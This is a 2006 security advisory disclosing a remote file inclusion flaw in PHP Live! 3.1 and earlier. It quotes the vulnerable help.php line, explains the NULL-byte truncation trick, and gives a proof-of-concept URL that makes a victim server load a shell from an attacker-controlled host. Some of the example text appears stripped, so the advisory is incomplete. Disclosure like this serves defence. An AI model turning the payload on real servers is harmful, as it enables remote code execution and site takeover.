PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability Oct 07 2006 06:47PM
paisterist nst gmail com
[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06
Program: PHP Live!
Homepage: http://www.phplivesupport.com/
Vulnerable Versions: 3.1 and prior
Risk: High!
Impact: Critical Risk

-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-

- Description
PHP Live! enables live help and live customer support communication directly from your website. With PHP
Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to
your website.

- Tested
localhost & many sites

- Explotation

Vulnerable code:

==[ help.php 30 ]=============================
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>
==[ end help.php ]============================

How we can see there's an arbitrary file inclusion, so we can just include a file from another server, executing the php code
in the victim's server.

Proof of Concept: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shel

We use a NULL byte at the final of the string because include_once() take a null byte like the end of a string. In this way,
"css/default.php" doesn't appears at the end of the var.

If you don't wanna use a NULL byte you can do something like:


In this way $foo has css/default.php in the attacker script.

Note: this vulnerability is present only if register_globals is turned on.

There are a lot of Local and Remote File Inclusion vulnerabilities in this script... but there is no reason to publish it.

- How to fix it? More information?
Visit our forum to know how to fix it or to get more information.

- References

- Credits
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/

- Greets

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

'@@'@@@@@@''@@@@@@ @@@'''''@@@

/* EOF */

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